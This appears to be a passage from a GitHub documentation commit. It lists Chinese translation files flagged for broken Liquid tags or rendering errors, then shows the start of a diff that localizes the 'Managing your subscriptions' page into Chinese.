-translations/zh-CN/content/graphql/guides/forming-calls-with-graphql.md,broken liquid tags -translations/zh-CN/content/graphql/guides/introduction-to-graphql.md,broken liquid tags -translations/zh-CN/content/graphql/guides/migrating-from-rest-to-graphql.md,broken liquid tags -translations/zh-CN/content/graphql/overview/about-the-graphql-api.md,broken liquid tags -translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,broken liquid tags -translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,broken liquid tags -translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,broken liquid tags -translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/deleting-an-organization-account.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,broken liquid tags -translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,broken liquid tags -translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags -translations/zh-CN/content/packages/learn-github-packages/viewing-packages.md,broken liquid tags -translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags -translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags -translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,broken liquid tags -translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags -translations/zh-CN/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md,broken liquid tags -translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,broken liquid tags -translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md,broken liquid tags -translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,broken liquid tags -translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,broken liquid tags -translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,broken liquid tags -translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,broken liquid tags -translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,broken liquid tags -translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,broken liquid tags -translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md,broken liquid tags -translations/zh-CN/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,broken liquid tags -translations/zh-CN/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,broken liquid tags -translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,broken liquid tags -translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md,broken liquid tags -translations/zh-CN/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,broken liquid tags -translations/zh-CN/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md,broken liquid tags -translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,broken liquid tags -translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,broken liquid tags -translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md,broken liquid tags -translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md,broken liquid tags -translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,broken liquid tags -translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md,broken liquid tags -translations/zh-CN/content/repositories/releasing-projects-on-github/comparing-releases.md,broken liquid tags -translations/zh-CN/content/repositories/releasing-projects-on-github/linking-to-releases.md,broken liquid tags -translations/zh-CN/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md,broken liquid tags -translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,broken liquid tags -translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,broken liquid tags -translations/zh-CN/content/rest/activity/notifications.md,broken liquid tags -translations/zh-CN/content/rest/apps/oauth-applications.md,broken liquid tags -translations/zh-CN/content/rest/codespaces/codespaces.md,broken liquid tags -translations/zh-CN/content/rest/codespaces/machines.md,broken liquid tags -translations/zh-CN/content/rest/codespaces/repository-secrets.md,broken liquid tags -translations/zh-CN/content/rest/codespaces/secrets.md,broken liquid tags -translations/zh-CN/content/rest/dependabot/index.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/admin-stats.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/announcement.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/billing.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/global-webhooks.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/index.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/ldap.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/license.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/management-console.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/org-pre-receive-hooks.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/orgs.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/pre-receive-environments.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/pre-receive-hooks.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/repo-pre-receive-hooks.md,broken liquid tags -translations/zh-CN/content/rest/enterprise-admin/users.md,broken liquid tags -translations/zh-CN/content/rest/guides/working-with-comments.md,broken liquid tags -translations/zh-CN/content/rest/migrations/source-imports.md,broken liquid tags -translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md,broken liquid tags -translations/zh-CN/content/rest/packages.md,broken liquid tags -translations/zh-CN/content/rest/pages.md,broken liquid tags -translations/zh-CN/content/rest/projects/cards.md,broken liquid tags -translations/zh-CN/content/rest/projects/collaborators.md,broken liquid tags -translations/zh-CN/content/rest/projects/columns.md,broken liquid tags -translations/zh-CN/content/rest/projects/index.md,broken liquid tags -translations/zh-CN/content/rest/projects/projects.md,broken liquid tags -translations/zh-CN/content/rest/reactions.md,broken liquid tags -translations/zh-CN/content/rest/scim.md,broken liquid tags -translations/zh-CN/content/rest/teams/team-sync.md,broken liquid tags -translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,broken liquid tags -translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md,broken liquid tags -translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md,broken liquid tags -translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,broken liquid tags -translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md,broken liquid tags -translations/zh-CN/content/support/contacting-github-support/providing-data-to-github-support.md,broken liquid tags -translations/zh-CN/content/support/contacting-github-support/viewing-and-updating-support-tickets.md,broken liquid tags -translations/zh-CN/content/support/learning-about-github-support/about-github-premium-support.md,broken liquid tags -translations/zh-CN/content/support/learning-about-github-support/about-github-support.md,broken liquid tags -translations/zh-CN/data/glossaries/external.yml,broken liquid tags -translations/zh-CN/data/learning-tracks/actions.yml,broken liquid tags -translations/zh-CN/data/learning-tracks/admin.yml,broken liquid tags -translations/zh-CN/data/learning-tracks/code-security.yml,broken liquid tags -translations/zh-CN/data/release-notes/enterprise-server/3-3/0-rc1.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-3/0.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-3/12.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/0-rc1.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/0.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/1.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/2.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/3.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/4.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/5.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/6.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/7.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-4/8.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-5/0-rc1.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-5/4.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-5/5.yml,broken liquid tags -translations/zh-CN/data/release-notes/enterprise-server/3-6/0-rc1.yml,rendering error -translations/zh-CN/data/release-notes/enterprise-server/3-6/1.yml,broken liquid tags -translations/zh-CN/data/reusables/actions/about-actions-for-enterprises.md,broken liquid tags -translations/zh-CN/data/reusables/actions/actions-billing.md,broken liquid tags -translations/zh-CN/data/reusables/actions/cache-default-size.md,broken liquid tags -translations/zh-CN/data/reusables/actions/create-runner-group.md,broken liquid tags -translations/zh-CN/data/reusables/actions/disabling-github-actions.md,broken liquid tags -translations/zh-CN/data/reusables/actions/enterprise-common-prereqs.md,broken liquid tags -translations/zh-CN/data/reusables/actions/enterprise-marketplace-actions.md,broken liquid tags -translations/zh-CN/data/reusables/actions/enterprise-postinstall-nextsteps.md,broken liquid tags -translations/zh-CN/data/reusables/actions/github-connect-resolution.md,broken liquid tags -translations/zh-CN/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md,broken liquid tags -translations/zh-CN/data/reusables/actions/jobs/section-running-jobs-in-a-container.md,broken liquid tags -translations/zh-CN/data/reusables/actions/reusable-workflow-artifacts.md,broken liquid tags -translations/zh-CN/data/reusables/actions/reusable-workflow-calling-syntax.md,broken liquid tags -translations/zh-CN/data/reusables/actions/reusable-workflows.md,broken liquid tags -translations/zh-CN/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md,broken liquid tags -translations/zh-CN/data/reusables/actions/self-hosted-runner-add-to-enterprise.md,broken liquid tags -translations/zh-CN/data/reusables/actions/self-hosted-runner-management-permissions-required.md,broken liquid tags -translations/zh-CN/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md,broken liquid tags -translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md,broken liquid tags -translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-general.md,broken liquid tags -translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runner-groups.md,broken liquid tags -translations/zh-CN/data/reusables/actions/settings-ui/settings-actions-runners.md,broken liquid tags -translations/zh-CN/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md,broken liquid tags -translations/zh-CN/data/reusables/actions/workflow-basic-example-and-explanation.md,broken liquid tags -translations/zh-CN/data/reusables/actions/workflow-dispatch-inputs.md,broken liquid tags -translations/zh-CN/data/reusables/actions/workflow-template-overview.md,broken liquid tags -translations/zh-CN/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md,broken liquid tags -translations/zh-CN/data/reusables/advanced-security/about-ghas-organization-policy.md,broken liquid tags -translations/zh-CN/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md,broken liquid tags -translations/zh-CN/data/reusables/advanced-security/secret-scanning-push-protection-org.md,broken liquid tags -translations/zh-CN/data/reusables/apps/user-to-server-rate-limits.md,broken liquid tags -translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md,broken liquid tags -translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md,broken liquid tags -translations/zh-CN/data/reusables/branches/new-repo-default-branch.md,broken liquid tags -translations/zh-CN/data/reusables/classroom/about-autograding.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/codeql-languages-bullets.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/codeql-languages-keywords.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/licensing-note.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/run-additional-queries.md,broken liquid tags -translations/zh-CN/data/reusables/code-scanning/what-is-codeql-cli.md,broken liquid tags -translations/zh-CN/data/reusables/codespaces/customize-vcpus-and-ram.md,broken liquid tags -translations/zh-CN/data/reusables/codespaces/next-steps-adding-devcontainer.md,broken liquid tags -translations/zh-CN/data/reusables/codespaces/prebuilds-crossreference.md,broken liquid tags -translations/zh-CN/data/reusables/codespaces/secrets-on-start.md,broken liquid tags -translations/zh-CN/data/reusables/command_line/provide-an-access-token.md,broken liquid tags -translations/zh-CN/data/reusables/copilot/copilot-prerequisites.md,broken liquid tags -translations/zh-CN/data/reusables/copilot/dotcom-settings.md,broken liquid tags -translations/zh-CN/data/reusables/copilot/install-copilot-in-neovim.md,broken liquid tags -translations/zh-CN/data/reusables/dependabot/default-dependencies-allow-ignore.md,broken liquid tags -translations/zh-CN/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md,broken liquid tags -translations/zh-CN/data/reusables/dependency-review/action-enterprise.md,broken liquid tags -translations/zh-CN/data/reusables/dependency-review/dependency-review-action-beta-note.md,broken liquid tags -translations/zh-CN/data/reusables/dependency-review/dependency-review-action-overview.md,broken liquid tags -translations/zh-CN/data/reusables/desktop/get-an-account.md,broken liquid tags -translations/zh-CN/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md,broken liquid tags -translations/zh-CN/data/reusables/discussions/navigate-to-repo-or-org.md,broken liquid tags -translations/zh-CN/data/reusables/discussions/starting-a-discussion.md,broken liquid tags -translations/zh-CN/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md,broken liquid tags -translations/zh-CN/data/reusables/dotcom_billing/view-all-subscriptions.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/dormant-user-activity.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-cap-validates.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-follow.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-fork.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-gist.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-interact.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-propose.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-repo.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/emu-short-summary.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/oidc-gei-warning.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/repo-creation-policy.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise-accounts/security-tab.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise/apply-configuration.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise/rate_limit.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise/test-in-staging.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_installation/download-package.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_installation/hotpatching-explanation.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_installation/ssh-into-instance.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_site_admin_settings/sign-in.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_site_admin_settings/tls-downtime.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_user_management/built-in-authentication.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md,broken liquid tags -translations/zh-CN/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md,broken liquid tags -translations/zh-CN/data/reusables/files/choose-commit-email.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/codespaces-classroom-articles.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/copilot-billing.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/copilot.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/dependency-vulnerable-calls.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/secret-scanning-partner.md,broken liquid tags -translations/zh-CN/data/reusables/gated-features/secret-scanning.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/actions.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/adding-members-to-organizations.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/configuring-security-features.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/creating-organizations.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/enforcing-repo-management-policies.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/enterprise-advanced-security.md,broken liquid tags -translations/zh-CN/data/reusables/getting-started/managing-enterprise-members.md,broken liquid tags -translations/zh-CN/data/reusables/git/git-push.md,broken liquid tags -translations/zh-CN/data/reusables/large_files/storage_assets_location.md,broken liquid tags -translations/zh-CN/data/reusables/large_files/use_lfs_tip.md,broken liquid tags -translations/zh-CN/data/reusables/notifications/outbound_email_tip.md,broken liquid tags -translations/zh-CN/data/reusables/notifications/shared_state.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/billing_plans.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/github-apps-settings-sidebar.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/member-privileges.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/navigate-to-org.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/repository-defaults.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/security-and-analysis.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/security.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/teams_sidebar.md,broken liquid tags -translations/zh-CN/data/reusables/organizations/verified-domains.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/authenticate-packages.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/authenticate-to-container-registry-steps.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/no-graphql-to-delete-packages.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/package-registry-with-github-tokens.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/packages-billing.md,broken liquid tags -translations/zh-CN/data/reusables/package_registry/required-scopes.md,broken liquid tags -translations/zh-CN/data/reusables/pages/build-failure-email-server.md,broken liquid tags -translations/zh-CN/data/reusables/pages/emu-org-only.md,broken liquid tags -translations/zh-CN/data/reusables/pages/sidebar-pages.md,broken liquid tags -translations/zh-CN/data/reusables/pages/visit-site.md,broken liquid tags -translations/zh-CN/data/reusables/projects/enable-basic-workflow.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/configure_pull_request_merges_intro.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/default_merge_option.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/pull_request_merges_and_contributions.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/rebase_and_merge_summary.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/resolving-conversations.md,broken liquid tags -translations/zh-CN/data/reusables/pull_requests/squash_and_merge_summary.md,broken liquid tags -translations/zh-CN/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/changed-files.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/deploy-keys.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/enable-security-alerts.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/navigate-to-code-security-and-analysis.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/navigate-to-commit-page.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/navigate-to-repo.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/repository-branches.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/sidebar-notifications.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/suggest-changes.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/tracks-vulnerabilities.md,broken liquid tags -translations/zh-CN/data/reusables/repositories/you-can-fork.md,broken liquid tags -translations/zh-CN/data/reusables/saml/about-authorized-credentials.md,broken liquid tags -translations/zh-CN/data/reusables/saml/about-linked-identities.md,broken liquid tags -translations/zh-CN/data/reusables/saml/about-saml-access-enterprise-account.md,broken liquid tags -translations/zh-CN/data/reusables/saml/authorized-creds-info.md,broken liquid tags -translations/zh-CN/data/reusables/saml/must-authorize-linked-identity.md,broken liquid tags -translations/zh-CN/data/reusables/saml/saml-ghes-account-revocation.md,broken liquid tags -translations/zh-CN/data/reusables/saml/you-must-periodically-authenticate.md,broken liquid tags -translations/zh-CN/data/reusables/scim/after-you-configure-saml.md,broken liquid tags -translations/zh-CN/data/reusables/scim/enterprise-account-scim.md,broken liquid tags -translations/zh-CN/data/reusables/scim/supported-idps.md,broken liquid tags -translations/zh-CN/data/reusables/search/syntax_tips.md,broken liquid tags -translations/zh-CN/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md,broken liquid tags -translations/zh-CN/data/reusables/shortdesc/rate_limits_github_apps.md,broken liquid tags -translations/zh-CN/data/reusables/sponsors/select-sponsorship-billing.md,broken liquid tags -translations/zh-CN/data/reusables/ssh/about-ssh.md,broken liquid tags -translations/zh-CN/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md,broken liquid tags -translations/zh-CN/data/reusables/support/help_resources.md,broken liquid tags -translations/zh-CN/data/reusables/support/submit-a-ticket.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/access_applications.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/account_settings.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/appearance-settings.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/developer_settings.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/emails.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/organizations.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/personal_access_tokens.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/removes-personal-access-tokens.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/repo-tab.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/saved_replies.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/security-analysis.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/security.md,broken liquid tags -translations/zh-CN/data/reusables/user-settings/ssh.md,broken liquid tags -translations/zh-CN/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md,broken liquid tags -translations/zh-CN/data/reusables/webhooks/workflow_run_properties.md,broken liquid tags -translations/zh-CN/data/ui.yml,broken liquid tags -translations/zh-CN/data/variables/product.yml,broken liquid tags -translations/zh-CN/data/variables/projects.yml,broken liquid tags diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md index 3b470c37a4..8238366d3b 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md @@ -1,6 +1,6 @@ --- -title: Managing your subscriptions -intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.' +title: 管理订阅 +intro: 为帮助您有效地管理通知,提供了多种取消订阅的方法。 versions: fpt: '*' ghes: '*' @@ -12,73 +12,79 @@ redirect_from: - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions shortTitle: Manage your subscriptions +ms.openlocfilehash: 750a3a9ad87ff9aa709b84a98f548d85d53072ee +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087363' --- -To help you understand your subscriptions 